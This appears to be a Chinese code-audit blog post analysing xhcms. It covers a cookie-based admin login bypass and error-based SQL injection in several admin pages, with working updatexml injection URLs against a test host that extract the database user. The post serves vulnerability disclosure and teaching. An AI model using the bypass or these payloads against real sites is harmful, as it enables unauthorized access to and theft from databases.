一、漏洞简介:
程序直接将POST接收到的参数拼接到SQL语句中执行,没有进行任何的过滤,并且后台验证登陆的代码可以进行绕过,导致后台文件都可以被越权访问。
二、漏洞分析过程:
1、/inc/checklogin.php:越权绕过
可以看到这里代码有问题,直接将$_COOKIE中的user值赋值给$user,判断为空就跳转登陆页面,所以绕过很简单,手动设置一个cookie值,给user随便赋值就行了
漏洞利用:
设置一个cookie值,只要user不为空即可:
然后就可以越权直接访问后台需要登陆的页面了:
2、/admin/files/columnlist.php:
这里通过GET接收delete参数赋值给$delete,没有进行任何过滤,并且输出报错信息,可以进行报错注入
漏洞利用:
http://www.xhcms.test/admin/index.php?r=columnlist&delete=asd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
成功爆出用户:
接下来16行也是一样的:
3、/admin/files/comentlist.php:
也是和前面一样的问题:
漏洞利用:
http://www.xhcms.test/admin/index.php?r=commentlist&delete=asd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
成功爆出用户:
4、/admin/files/reply.php:
也是没有进行任何过滤,导致注入
用户名处:输入报错注入payload:
http://www.xhcms.test/admin/index.php?r=reply&id=asdasd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
5、/admin/files/linklist.php:
6、/admin/files/editcolumn.php:
这里通过GET传过来的id参数没有进行任何的过滤直接拼接到SQL语句中执行,导致SQL注入漏洞:
The Same:
7、/admin/files/editlink.php:
8、/admin/files/editsoft.php:
9、/admin/files/editwz.php:
还有很多文件都存在SQL注入漏洞,都是因为程序对传参过滤不严,并且清一色地输出报错信息,导致出现了大量的SQL注入漏洞
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):[代码审计] xhcms SQL注入漏洞&越权[后台]分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论